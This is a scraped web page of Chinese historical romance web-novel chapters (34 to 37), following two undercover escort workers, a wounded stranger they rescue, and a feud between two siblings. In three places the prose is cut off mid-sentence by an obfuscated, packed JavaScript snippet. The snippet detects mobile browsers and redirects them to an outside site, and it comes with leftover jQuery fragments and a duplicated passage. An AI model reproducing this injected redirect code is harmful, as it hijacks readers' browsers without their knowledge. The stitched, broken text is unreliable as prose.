“你怎么还没睡?”许妙仪颇感惊讶。 “不太放心你——你身上的血腥气从哪里来的?”萧韫问得急切。 “别人的血。”许妙仪莫名有些恼怒,“我能出什么事?反倒是你,本来就体虚,再多熬一会儿就要猝死了!” 萧韫挨了骂,却心生愉悦,笑道:“阿双教训的是,萧某下次不敢了。” 许妙仪冷哼一声,转身往自己的床榻上走。 “阿双怎回来得这样晚?半个时辰前我就听到有人陆陆续续回来了。”萧韫又问。 许妙仪一边脱下染血的外袍,一边把今夜的经历如实告知。 萧韫沉默了半晌,问:“他长得怎么样?” 34.醋意 许妙仪知道萧韫是在问她救下的男子,怪道:“你问这个做什么?” 萧韫道:“好奇。” 许妙仪答道:“他脸上都是血,我没太看清。” 萧韫略微松了一口气,但心底的不安并没有消散。 万一那男子非要以身相许怎么办? * 翌日午初时分,蓝钰私院。 “郎君,杨明还是不肯招,”庆三一边禀报,一边小心翼翼地觑着蓝钰的神情,“便是属下拿他妻子威胁,他也始终声称自己是冤枉的……” 蓝钰唇角勾起一个嘲讽的弧度,因彻夜未眠而遍布血丝的眼中温度极低:“你觉得他是冤枉的?” 庆三惶恐不已,连忙跪伏在地,道:“属下绝无此意,还请郎君明察!” 杨明是他引荐的人,昨夜杨明染上嫌疑,他也难免被祸及。蓝钰本有意缉拿他,是他主动将儿子送到蓝钰手上,蓝钰才收回成命。 蓝钰没有回答,庆三只觉得要被这沉重的空气压垮了,背上冷汗涔涔。 好半晌,方听蓝钰问:“你觉得,他会是哪方的人?” “属下愚见,他是大郎君的人。若他是那些所谓的正义之士,应当想着救人,而非杀人。这杀人的手段,明显是冲着我们的业绩来的。”庆三小心翼翼地回答。 “不错,”蓝钰颔首,意味深长道,“蓝熠不可能只派一个人来,这镖局中肯定还有其他老鼠。如今杨明被捕,他们一定惶惶不安吧……” 庆三愣了一下,随后很快反应过来:“郎君英明!属下这就去办!” * 与此同时,萧韫正倚在厢房的床头看书,神情疲惫,眼下一片乌青。 他前半夜在担忧许妙仪,后半夜又在思索如何应对可能的情敌,可谓是殚精竭虑,一直到天际微白才终于阖眼。 “吱呀——”门被轻轻推开。 萧韫抬眼看去,见许妙仪一副心事重重的模样,忙问:“阿双这是怎么了?” 许妙仪掩上门,把手上的食盒递给萧韫,低声道:“听说杨明被捉了。” 萧韫也颇感意外:“他并不是蠢笨的人,怎会这么快就被捉了?” “似乎是有人告密,说是看见他与人交接。”许妙仪重重喟叹一声,“此事说不定会牵扯出我们,我们得未雨绸缪。” 萧韫点头赞同,两人就此商议了起来。 讨论出了应对办法,许妙仪方觉心头阴霾一扫而空,心情舒畅了不少。她这才注意到食盒一直未曾打开,不由心生愧疚,道:“是我疏忽了,应当等你用完膳再说的。” “阿双不必如此担心,我并不是很饿。”萧韫温声道。 许妙仪冷哼一声,道:“谁担心你了?”说着,她转身往外走,“你吃吧,我出去一趟。” 萧韫心中升起一种不祥的预感,忙问:“阿双是要去哪儿?” 许妙仪道:“我要去万郎中那儿看看那人的情况。人毕竟是我救的,我不可能甩手不管。” “我也去。”萧韫连忙道。 许妙仪蹙眉:“你去做什么?你身子还未好,不宜奔波。” 萧韫有理有据道:“万郎中交代我,每五日去扎一次针。算算时间,今天是该去一趟了。” 许妙仪想起来确有其事,于是不再反对,只道:“那你先把饭吃了,我等你。” 萧韫快速吃完了饭,与许妙仪一同出门。 还没走到大门口,他们便察觉到了气氛有异——路边的镖师们个个满面愁容,三两成堆地低声讨论着什么。 许妙仪找人一打听,方知是蓝钰下令封锁了镖局大门,不允许任何人进出,理由是“出了内鬼”。 闻言,许妙仪面色微变,道谢后与萧韫一同折返回去。 回程路上,许妙仪面色较之前更为凝重,问:“她既然已经闹出了这么大的阵仗,那她下一步会不会为了保险起见,把所有可疑的人都抓起来拷打?” 抓她倒是无所谓,但萧韫重伤未愈,哪里还经得起折腾? “大概率不会。阿双不必过于忧虑。”萧韫宽慰道,“蓝钰求贤,若非如此,她一开始就不会留下有嫌疑的你我,更不会高调出席杨明的婚仪并为他添置彩礼。她若如此,只会败坏她的名声,影响她的事业。” 许妙仪觉得很有道理,渐渐冷静下来,同时后知后觉自己方才因一时急切,竟有些昏了头。 看来这卧底不是谁都能当的,太考验心态了。 * 庆三按照蓝钰的命令,不仅让手下们严格把守镖局所有的进出通道,更让他们不断在镖局内巡逻。但看似严防死守,实际上他刻意留下了不少漏洞。 他亲自带人秘密蹲守在后门附近。一个时辰后,在两拨侍卫交接的空隙,出现了两个背着行囊、鬼鬼祟祟的人影。 庆三将他们当场抓获,带回地牢受审。这两人经不住拷打,没多久便招了个干干净净,不但承认自己是蓝熠派来的卧底,更是把其他卧底都指认了出来,其中包括杨明。 蓝钰派庆三去拿人,同时亲自拷问杨明。 杨明得知事情败露,气急败坏,嘴里骂骂咧咧的。 蓝钰恍若未闻,只冷声道:“说出你知道的东西,我饶你妻子一命。” 杨明怨毒地盯着蓝钰,“嗬嗬嗬”地笑起来了,咬牙切齿道:“我那妻子其实也是大郎君的人,她根本不怕死!还有,大郎君的消息都是靠我传递,镖局的其他卧底一无所知……大郎君迟早会亲手杀了你,我会在黄泉等着你!”说罢,他就咬舌自尽了。 蓝钰铁青着脸从牢房出来,又去审讯其他人。 这些卧底中有硬气的,也有早早投降的。但他们只能交代出每次执行的任务,对蓝钰的帮助有限。 走出地牢时,天色已暗。 庆三跟在蓝钰身后,问:“郎君,那些人怎么处理?” “兄长苦心为我准备这么多惊喜,我怎能不好好回报他一下呢?”蓝钰缓缓扯出一个诡异的笑,“把他们的头都割下来,装进盒子送去宣州。” 庆三应了声“是”,领命离开。 蓝钰长舒一口气,抬头看天,才发现天色昏暗不是因为时辰太晚了,而是因为空中铺了一层厚厚的乌云。 原本应该是晴朗的天气,如今被这乌云耀武扬威地鸠占鹊巢。唯有乌云边缘的一圈金光,昭示着太阳仍然存在。 蓝钰脑中似乎也有这么一个念头,被重重阴云遮蔽,让她不得窥见其真容。 她想,杨明在她身边潜伏了这么久,理应酝酿着一个更大的阴谋。而此番虽然让她元气大伤,但并没有伤到她的根本。相反是蓝熠一方,因此事折损了几乎所有的卧底…… 这太不对劲了。她总觉得,在这场闹剧中,似乎还隐藏着一方势力…… * 镖局的封锁是当天下午申时解除的,许妙仪和萧韫申时二刻就出了镖局,直奔别院。 见到了万郎中,许妙仪问的第一句话就是:“那个人怎么样了?” 闻言,萧韫眸中划过一抹不悦,冷冷瞥了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285054|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李梧一眼。 李梧心虚地低着头,假装自己是个透明人。 万郎中道:“已经脱离生命危险了,但目前还在昏迷之中。” “多谢郎中费心。”许妙仪拱手对万郎中一拜,“我想去看看他。” 万郎中当即招呼一个童子过来,让他领着许妙仪去厢房。 “我也去。”萧韫连忙跟了上来。 许妙仪不解:“你去做什么?你应该先让万郎中替你针灸才是。” 萧韫面不改色道:“作为百姓的半个父母官,我理应关怀对每个人施以关怀。再说了,我就瞧一眼,不会耽误正事。” 许妙仪觉得有些奇怪,但一时也没心思多想,便默许了。 谁知下一刻,侧面黑影一晃,是萧韫赶到了她前头。 许妙仪不解:“你……这么急着见他?” “我爱民如子。”萧韫道。 许妙仪:“……” 萧韫足下生风,很快就进了厢房,来到床边。 但见床上躺着的青年苍白瘦削,整张脸被一股阴郁病气笼罩着,五官精致得有些女气。 很好,没他好看。 萧韫终于如释重负,退开几步。 恰好这时许妙仪进到厢房,径直去瞧那青年。见他面色惨白,她不禁目露几分怜惜。 萧韫见了,如临大敌,假装不经意地提醒:“阿双,他不一定是个好人。” 许妙仪点点头:“我知道。” 就在这时,那青年眼睫微微颤动了几下,随即缓缓掀开眼皮,露出漂亮的褐色眸子。 许妙仪惊喜道:“你醒了!” 不料那青年面色骤然一变,连忙环顾四周,同时猛然坐起身来,似乎想要逃跑。然而大约是牵动了伤口,他眉头一蹙,僵在了原地。 就在青年动作的同时,萧韫赶忙上前一步,想将许妙仪揽在身后,不料许妙仪却先一步伸手护住了他。 萧韫心下一软,唇角不自觉勾起,没再继续动作,只侧头给李梧递了一个眼神。 许妙仪看出青年无法继续动作,心弦于是松懈下来,柔声宽慰:“你别紧张,这里没人想害你。” 青年警惕地盯着许妙仪,启唇问道:“你是谁?”他声音虚弱,却透着十足的阴气。 “我是一个普通的镖师,也是你的救命恩人。”许妙仪道。 青年眼中的警戒没有消减半分:“你救我有什么目的?” 许妙仪觉得莫名其妙:“救你就只是救你啊,还能有什么目的?” 青年眯眼打量着许妙仪,似乎是在分辨她话的真伪。 半晌,他勾出一个嘲讽的笑:“你连我是谁都不知道,就伸出援手,也不怕我是一条恩将仇报的毒蛇吗?” 许妙仪淡淡道:“我不会因为忌惮恩将仇报的毒蛇,就放弃救下一条无辜生命的机会。” 青年一愣,眸中泛起几分兴味。 “你叫什么名字?为何会伤成这样?”许妙仪又问。 “简青川——简单的简,青色的青,山川的川。仇家追杀。”简青川言简意赅。 许妙仪念了一遍他的名字,赞道:“倒是个好名字。” “是啊,好名字……”简青川轻轻呢喃着,扯出一个意味莫名的笑。 “你放心在这里修养吧,这里的人不会伤害你。”许妙仪道。 简青川并没有立即应下。他先在许妙仪温和的目光中流连了一会儿,接着又看了一眼阴恻恻盯着自己的萧韫,忽然发现了一件有趣的事情。 35.试探 简青川收回目光,艰难地做了个叉手礼,诚恳道:“简某飘零江湖,看惯人心险恶,所以才会一时出言不逊,还望二位莫怪。二位此番大恩大德,简某感激不尽,来日必当涌泉相报。” 许妙仪客气地应了几句,同萧韫走出厢房,往正堂而去。 “阿双,你觉得我的名字如何?”萧韫忽然问。 许妙仪瞥了他一眼,笑道:“好听,就是跟你本人不太符合。” “那我和他的名字,哪个更好听?”萧韫佯装不经意地问,看似直视前方,实则时不时瞥一眼许妙仪。 许妙仪顿了一下,随后慢悠悠地反应过来:“你这是……嫉妒了?” 萧韫轻叹一声,故作惆怅:“醋缸子都打翻许久了,阿双现在才闻到?” “醋缸子?”许妙仪疑惑,张目四顾,“哪里有醋缸子?” 萧韫有些诧异:“你……不知道这个典故吗?” 唐初宰相房玄龄惧内。一次宴会上,唐太宗故意赐给房玄龄两位美人。房夫人坚决不允。太宗大怒,声称要么迎美人进门,要么饮下御赐“毒酒”。本以为房夫人会就此屈服,没想到她居然直接拿起“毒酒”饮下。然一饮才发现,杯中并非毒酒而是“浓醋”。 此事传扬开来,“吃醋”也就成了情爱中妒忌情绪的代名词。 许妙仪确实不知道。 出于怕麻烦的心理,她并不打算将自己乃异世之魂一事告知于失忆的萧韫,于是连忙搪塞笑道:“我当然知道,只是一时没反应过来。” 萧韫“哦”了一声,若有所思。 许妙仪生怕萧韫继续这个话题,于是加快步伐。 然而萧韫还是追了上来,锲而不舍地追问道:“阿双还没回答我呢,谁的名字更好听?” 许妙仪无奈笑道:“你的名字更好听,行了吧。” 萧韫这才满意地点点头,笑道:“阿双果然是品味高雅。” “真是幼稚死了!”许妙仪嗔道。 回到正堂,万郎中引萧韫去内室针灸。 许妙仪趁机塞给李梧两块银铤,道:“你们照顾重伤患者,难免要费人力物力,这是我替他付的款——我知道不够,但我后续会补上。” 她是个有底线的人,绝不会做慷他人之慨的事情。但萧韫肯定是不会收她钱的,所以她只能从李梧下手。 李梧目露惊讶,连忙推辞:“这我不能收,为娘子做事是我应该的。” 两人“交战”了好几个回合,始终僵持不下。 万般无奈之下,许妙仪只得使出一招不太光彩的手段:“你若不收,我便去告诉你们郎君,你对我言行无状!” 听了这句话,李梧既震惊又无措,最终只能苦着一张脸收下了。 小半个时辰后,萧韫从内间出来。 许妙仪心想,萧韫都针灸两次了,还泡了温泉,淤血理应散了些,于是问道:“你有没有想起些什么?” 闻言,萧韫直勾勾看向许妙仪,眸色漆黑深邃,不可捉摸。他薄唇轻启,吐出一个字:“有。” 许妙仪双眼一亮,追问道:“想起什么了?” 萧韫低头凑近许妙仪,神情忽而一变,一双凤眸微弯,轻声揶揄道:“想起来我心悦你。” 许妙仪:“……” 她无语至极,愤愤地瞪了萧韫一眼。 一旁的万郎中及时劝慰道:“郎君娘子不必担心,虽然这淤血化得慢了些,但总归是会化的。” 此时天色已晚,萧许两人留在别院用晚膳。 期间,萧韫特地把李梧叫到一边,郑重吩咐道:“让手下的人好好照料那个姓简的,不许懒怠。” 李梧纳罕道:“郎君,您不是不喜欢他吗?” 萧韫冷冷一笑,道:“他快点养好伤,才能快点离开。” 李梧却道:“咱们为何不故意给他治死呢?这样既不用费神,还能永绝后患。” 萧韫“啧”了一声,恨铁不成钢道:“万一阿双发现了怎么办?” 李梧恍然大悟:“还是郎君英明!” “对了,再去查查他的底细。”萧韫补充道,“我总觉得他不像好人。” “是!” 用过膳,萧许两人回到镖局,本准备直接回房,不料在半路被两个人叫住了:“两位兄弟来得正好,有件事儿必须说与你们听!” “什么事?”许妙仪疑惑不已。 “还记得咱们之前走镖去青州,结果被封在城里半个月的事儿不?” 许妙仪点点头:“记得。” “那个鬼脸狂徒被铲除了!” 许妙仪惊喜不已,连忙追问:“怎么回事,且细细说来!” 那人绘声绘色地道:“鬼脸狂徒在青州城里兴风作浪,不光杀了参军全家,还重伤监察御史。官府不得不向黑-道施压,黑-道众人于是联合起来追查那狂徒。” “这一查就是数日,但功夫不负有心人,还真让他们找到了些线索,发觉那鬼脸狂徒竟一直藏在青州城里,可谓是张狂至极。” “众人于是设下天罗地网,在青州城外诱鬼脸狂徒现身。重重围攻下,鬼脸狂徒重伤坠崖,必定是没有生还的可能了!” 许妙仪忍不住鼓起了掌,笑赞:“死得好!真是大快人心!” 萧韫则若有所思地眯起双眼。 回到房中,萧韫意味深长地道:“阿双,鬼脸狂徒是前日被围剿,简青川是你昨日夜里遇见的。” 许妙仪蹙眉:“但鬼脸狂徒在青州城外重伤坠崖,不跌个粉身碎骨就不错了,怎么可能还有余力跑到百里外的阳泉来?” “防人之心不可无。”萧韫道,“你与我说过,那狂徒武艺奇高。若他再碰上些许机缘,说不定就能做到呢?” “有些道理,”许妙仪颔首,“那这样,我明日用西域奇香去试他一试。” 萧韫道:“我同你一道去吧。” 许妙仪笑道:“他就算真的是鬼脸狂徒,现在也动弹不得呀。你就安心养伤吧,不然等简青川都能活蹦乱跳了,你还躺在床上呢。” 萧韫面色微变,认真道:“我肯定比他恢复得快。” “是——”许妙仪无奈,拖着长长的尾音,哄小孩一般地说,“你最厉害了,行吧。” 萧韫也不推拒,笑着点了点头。 翌日,许妙仪带着西域奇香,来到别院“探望”简青川。 简青川正倚在床头喝药,面色仍旧苍白,精致漂亮的眉眼我见犹怜。见了许妙仪,他没有昨日那般激动的抵触情绪,而是扯出一个礼貌的笑:“娘子。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314335|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许妙仪搬了把椅子坐在他床边,温声问:“你可有感觉好些了?” 简青川颔首,轻声道:“好多了,多谢娘子。” “那就好。”许妙仪笑道,状似不经意地问,“对了,你是哪里的人呀?” “我是庐州的人。”简青川答。 许妙仪“哦”了一声,又问:“你家里是做什么的?” 简青川顿了一下,随即扯出一个苦笑:“娘子可曾听过,庐州玄武派?” 许妙仪在脑中搜索一番,诚实道:“没有。” “好吧,没听过也正常,毕竟已经过去八年了。”简青川语气染上惆怅,“庐州玄武派,是我曾祖父一手创立的江湖帮派,名动一时。可惜在我十六岁那年,全家惨遭屠戮,门派自此分崩离析。我是那场劫难中唯一的幸存者。” 他眉头微颦,长睫垂落,显得愈发楚楚可怜。 许妙仪心中半是怜惜半是愧疚:“不好意思啊,让你想起你的伤心事了。” “没事的,”简青川轻咳几声,“都过去这么多年了,我早就看开了。” 许妙仪犹豫着问:“你……就没想着报仇吗?” 简青川露出一个苦笑:“我自小身体就不好,武功连同辈的姐妹都比不过,更何况,灭门仇人是百年难得一见的武学奇才。他不来追杀我,我便是谢天谢地了。” “哦?仇人是谁?”许妙仪好奇地追问。 “那人你或许知道,就是青州司法参军灭门案的凶手、前两日才落网的鬼脸狂徒。”说到此处,简青川眸中泛起明显的忌惮与仇恨之意。 “那你此番也是被他所伤吗?” 简青川摇了摇头:“此番重创我的是其他原本就与玄武派不对付的帮派——他们总觉得,我手上有他们的把柄。听闻仇人现身,我特地赶来青州。那帮人借此设下圈套……” 许妙仪叹了一声,道:“那这么多年来,你孤身飘零,当真是不容易得很,难怪你昨日醒来时那样警惕。” “能遇上娘子这样的好人,一切磨难都不值一提了。”简青川垂着眼睫,柔声道。 这话说到许妙仪心坎上了,叫她心花怒放,笑道:“举手之劳而已,不必如此挂怀!” “要的。以后娘子若有什么需要,尽管开口,我必为娘子赴汤蹈火。”简青川说着,抬眼看向许妙仪,一双褐色的眸子剔透澄澈,恍若琉璃。 被这样一双眼睛盯着,大多数人都会心神荡漾。但许妙仪却并没有什么异样的感觉,反而考虑起了正事。 思索片刻,她从皮囊中掏出一个小木盒,十分自然地递给简青川:“这个是给你的。” 简青川目露惊讶,有些受宠若惊:“给我的?” “嗯,里面是一个鲁班锁,不值钱的,你就收下吧,”许妙仪笑道,“怕你在病榻上无聊,所以才给你买的。” 简青川郑重地行了一个叉手礼:“多谢娘子。” “打开看看?”许妙仪循循善诱。 简青川点点头,伸手打开盒盖。 一股浓烈的异香扑面而来,许妙仪连忙闭气,简青川则没来得及反应,眸光肉眼可见地黯淡下去了,整个人也僵住了。 许妙仪盖上盒盖,待香气散了些,方质问简青川:“你方才说的都是真的吗?” 36.伤情 简青川嘴唇微动,缓缓吐出一个字:“是。” 许妙仪松了一口气,心想:果然是多虑了,那鬼脸狂徒必定没有生还可能了。 再看向简青川,她心中怜惜更甚,暗下决心要多多赚钱以供他早日康复。 回到镖局,许妙仪先去找到庆三,言明自己的伤好得差不多了,可以接单。 得到庆三的肯定答复后,许妙仪回到房中,将试探结果告知萧韫,并忍不住感慨道:“他实在太可怜了。” 萧韫默了半晌,道:“其实我也挺可怜的。” 许妙仪没听清:“你说什么?” 萧韫惆怅地叹了一声,“故作坚强”地摇头,眸中却泛起些许悲伤:“没什么,只是忽然想起了小时候,烽火连天,许多亲人陆续凋零,如风中残叶……” “那你就别想了!”许妙仪出声打断。 萧韫神情一僵。 许妙仪后知后觉自己语气过于生硬,于是柔声补充道:“既然回忆让你感到忧愁苦恼,那想来何益?” “可是,情绪并非一场可以随时停下的游戏。一旦起了头,就再难以止息。”萧韫语气哀怨。 许妙仪心想也是,于是叹了口气,道:“那你想吧。” 萧韫再次滞了一瞬。他心中泛酸,面上的哀愁也逐渐变得真实:“阿双……不听我说说吗?” 许妙仪顿了顿,想到人在悲伤之时往往会有强烈的倾诉欲望,于是决定发发好心:“那你说吧,我听着。” 萧韫轻叹一声,垂下眼睫,缓缓用杯盖拨弄杯中茶水,声线惆怅:“第一个离开我的人是母亲。母亲本来身体就不好,生下我之后更是每况愈下。彼时医疗条件受限,母亲未能得到很好的治疗……” “那年我三岁,像往常一样去给母亲看我写的字。母亲坐在梨花树下的摇椅上,闭着眼睛,手里握着一把笛子。在那之前,母亲缠绵病榻许久。我以为她是病好了,于是很开心地坐在她脚边,期待着她的醒来……” 孩童天真地等待着母亲的病愈,全然不知他们已然天人永隔。 许妙仪听得难受,下意识地去瞧萧韫的神态。 萧韫看上去很平静,手上动作不停,眼睫仍然低垂着。 然而他越平静,许妙仪就愈发心疼他。 “后来你应该猜到了,母亲没有再醒来,那是我第一次直面死亡。”萧韫莫名扯出一个淡淡的笑,“再后来,战况愈发激烈,越来越多的人死去。这个人可能昨日还在教我武功,明朝就身首异处。” “我的兄长也是其中之一。他是声名显赫的少年将军,意气风发。那次开战前,他笑着让我好好练武,他回来时会抽查。他还让人准备几坛好酒,他回来要痛痛快快喝一顿。” 听到此处,许妙仪不自觉地想起了自己的兄长许晟。 许晟亦是年少成名。他勇冠三军、战无不胜,是有史以来最年轻的镇国将军。每每出征前,他都要亲自安排好庆功宴的酒菜。 许妙仪二十六岁那年,与许晟一同奉命征讨北方某实力雄厚的蛮族。或许是预感到此战的艰辛,许晟决定让人提前把他藏了十年的美酒找出来。 此战确实艰辛,大周赔上了一千零三十五名将士,以及最年轻的镇国将军。 漫漫黄沙中,许晟倒在许妙仪怀中,望着惨白的太阳说出了最后一句话:“可惜了……我的酒……” 许妙仪眼底涌起泪光。 萧韫深吸一口气,轻快地笑道:“可惜了,那是一坛好酒。” “是啊,那是一坛好酒。”许妙仪喃喃地重复。 “阿双,你这个听故事的人,怎的还先哭了?”萧韫调侃道。 许妙仪连忙抹去眼泪,强自平复下心情,道:“还不是你讲故事讲得太好了?你不去当说书先生真是屈才了。” “阿双这个提议不错,恰好我伤病中无事可做。”萧韫轻笑道。 想了想,许妙仪又故作随意地拍了拍萧韫的肩,学着许晟的话宽慰道:“其实人死之后并不是完全消失了,而是变成了银河中的一颗星星。所以他们从未离开,只是换了种方式陪伴你。你每一次抬头看天,都是和故人的无声对视。” 这话是说给萧韫听,也是说给她自己听。 萧韫知道这话是假的,但仍觉有股淌过胸间。他不自觉地问:“阿双的过往是怎样的?我……不记得了,你也从未与我说过。” 许妙仪笑着搪塞道:“下次再与你说吧。” 再说下去,她就忍不住要哭了,那可实在太丢人了。 “好。”萧韫伸出小拇指,“那来拉个勾,以免阿双过后不认账。” 许妙仪翻了个白眼,嗔道:“幼稚死了!”但说完,她还是将小拇指伸了出去。 * 翌日,庆三给许妙仪派了一个护送商队的任务,目的地是徽州,来回一趟大约需要五天。 千叮呤万嘱咐地送走了许妙仪,萧韫出门来到别院,首先询问万郎中配制解药的进度。 “回郎君,有一味原料还不甚分明。”万郎中有些惭愧。 萧韫宽慰了几句,随后来到简青川的厢房。 简青川正倚在床头喝药,面上较之前多了几分血色。见了萧韫,他露出一个虚弱的笑,叉手道:“郎君。” 萧韫冷着脸,连一句客套话都没说,直接吩咐屋中侍女:“你们都出去。” 简青川面露几分惊愕:“郎君可是有什么话想与我说?” 萧韫淡淡睨着简青川,慢悠悠地在他床前坐下,又端起置于床头矮柜上的药碗,一下一下地用勺子划着汤药,发出叮啷的脆响。 “某来是想提醒你,阿双救你是因为她本性纯善,换做谁重伤,她都会施以援手。”萧韫垂着眼睫,淡声道。 “我明白,”简青川回答的声音很轻,“许娘子是个好人。” 萧韫道:“所以你最好不要对她有半点非分之想。” “郎君多虑了,”简青川道,“我对娘子唯有感恩之心,绝无僭越之意。” “那就最好不过。”萧韫露出一个意味深长的笑,“否则……” 他松开手,药碗坠下,“哐啷”一声碎裂成万千瓷片。 简青川面上血色尽褪,嘴唇颤抖了好半晌才吐出一句话:“郎君……放心。” * 两日后,蓝钰私院。 庆三进门禀报:“郎君,宣州那边来信了。” 蓝钰正倚在榻上小憩,闻言连忙睁开双眼:“念。” “家主的身体每况愈下,大郎君不知从何处得了个偏方,飞夏草正是其中一味原料。或许是为了提防您,他方将此事委托给剑玄楼少主。” 蓝钰不由得嗤笑出声:“他也就这点出息,心思本就不多,还都用到这些地方来了。” 庆三恭维道:“郎君说的是,大郎君蠢笨,哪能和郎君您相提并论。” 蓝钰勾唇一笑,又问:“还提到别的了吗?” 庆三点头:“大郎君收到人头后暴跳如雷,令手下搜捕可疑之人。被抓的人中确实有我们的人,但更多的是无辜之人。据说,底下众人怨声载道。” “他还真是没一点长进啊。”蓝钰讥讽道。 “抓捕了‘奸细’后,大郎君便派人快马加鞭来阳泉送‘东西’,大概这两日就会到了。”庆三补充道。 像是为了应合庆三的话,外间传来一阵急促的脚步声,随后有人高声报道:“郎君!宣州那边派人来了,此时正候在镖局外头。” 蓝钰眸中隐隐透出一丝扭曲的期待:“请进来。” 不多时,门口进来一个抱着大盒子的黄衣青年。青年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323858|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在堂中站定,冲蓝钰微微颔首,道:“三娘子,请恕我不便行礼。” 他语气看似不卑不亢,实则蕴着一丝挑衅。 庆三看清这青年的面容,登时大惊失色,连忙去觑蓝钰的表情。 这青年名叫黄岑,曾是蓝钰的得力下属。后来他被蓝熠策反,“弃明投暗”。很长一段时间里,“黄岑”两个字都是蓝钰的大忌。 如今蓝熠派此人来送东西,简直是明晃晃的挑衅。 这倒也就罢了,黄岑居然还大大咧咧地唤蓝钰“娘子”!要知道,蓝钰向来把自己当男儿看待,最恨别人如此唤她。 蓝钰眯眼盯着这青年,慢悠悠地说:“黄岑,真是没想到你如此勇气可嘉,还敢到我这里来。”她语气虽轻,却饱含着危险的意味。 黄岑面不改色道:“两国交战尚且不斩来使,娘子是个聪明人,万不会做出那等糊涂事的。” 蓝钰冷笑一声:“你我皆非名门正派,你这样说自己不觉得好笑吗?” 黄岑面色微变,整个人都僵了一瞬。他正欲再度开口,便听蓝钰不屑道:“行了,别卖弄你那拙劣的嘴上功夫了。既是来送东西的,就把盒子打开吧。” 黄岑唇角勾起一个莫名的弧度,缓缓掀开盒盖。 一股腥臭气扑面而来,蓝钰捂着鼻子定睛一瞧,那盒中竟赫然摆着七八颗人心!因放置时间过久,心脏已成暗红色,底部积着一滩深色血液。 蓝钰早已做好了心理准备,但这场景还是让她感到意外。以往面对她的挑衅,蓝熠大多数时候只会气得跳脚,就算“反击”,其效果也远不如她的。 而今这几颗人心,倒真是比她送的人头还妙。 半晌,她幽幽笑了一声,叹道:“终于是感觉到了,他与我有血脉相连。” 黄岑面露震惊,似乎是没想到蓝钰会做如此反应。 “滚回去吧,”蓝钰轻轻抿了一口茶,“跟你的主子说,他的礼物还不错,我很喜欢。” 这夜睡下,蓝钰竟意外地梦到了蓝熠。 那是在二十年前,她四岁,蓝熠七岁。 庭中的木芙蓉开了,顶端一朵足有半个人头大小的三醉芙蓉艳压群芳。 “阿兄,我想要那个。”扎着双髻的蓝钰指着那朵芙蓉,满眼期待地望着兄长。 蓝熠毫不犹豫地答应了:“行!” 仆从连忙劝道:“少主,爬树太危险了,还是让奴婢们去吧。” 蓝熠摆摆手,道:“这样罕见的吉祥之兆,我自然得亲自献给阿钰。” 说罢,他灵活地窜上枝桠,很快就消失在了茂密的花叶中,只能隐隐见着一片衣角。 蓝钰仰头瞧着,心中半是敬佩半是担忧。 不一会儿,花叶颤动,蓝熠从中冒出头来。他高举三醉芙蓉,兴奋得像一个得胜的将军:“阿钰快看!” “阿兄好厉害!”蓝钰激动不已,笑着拍手。 …… 彼时他们还不懂得利益纠葛,更没有成为不死不休的仇人。那是他们一生中为数不多的,单纯的、快乐的、深爱着彼此的时光…… 大梦初醒,蓝钰莫名有些迷茫,怔怔地盯着帐顶。 阿兄。 我们是从什么时候开始变成如今这样的呢? 这念头只冒出一瞬,很快就被蓝钰的理智吞没。她扶住额头,喃喃骂道:“真是疯了。” * 十一月初五,许妙仪顺利完成任务,如期归来。 正要进镖局大门,忽然有一阵布谷鸟叫钻入她的耳朵。她随便找了个借口,让同伴们先进去,自己则绕到“老地方”与李梧会面。 “可是有什么话想让我带进去吗?”许妙仪问。 李梧连忙点头,道:“属下今日在街头遇见了……”他有些犹豫,“一位故人。” 37.变故 “故人?”许妙仪不解地拧起眉头,“谁的故人?” “就是您和郎君回阳泉那天、带在身边的少女,属下意外遇见了她,她说要见您二位,属下便先将她带回别院了。” “嫣儿?!”许妙仪先是诧异,紧接着又心焦起来,语气不自觉变得急切,“她是遇到什么事儿了?” 李梧摇了摇头,道:“她没跟属下细说,您去了就知道了。” 许妙仪当即就想拔腿奔向别院,但很快又冷静下来,道:“我得先去蓝钰那儿汇报情况、领工资,再还要跟你们郎君报个平安。” “那属下在此恭候郎君、娘子。” 走进镖局大门,再绕过照壁、穿过大堂,视线豁然开朗。 众多练武的镖师中,许妙仪一下子就找出了萧韫的背影——他本就生得高挑,劲装与蹀躞的搭配又最大程度地展示出了他优越的比例。此时他正独自站在角落,手拿木棍比划着招式,动作虽缓,却也别有一股行云流水的优雅。 或许是受到晴天的影响,许妙仪竟莫名觉得有些雀跃。心念一动,她拔出配剑,足尖轻点,直直朝着萧韫后背刺去。 萧韫迅速转身,立棍挡在身前,恰好卡住许妙仪的剑尖。 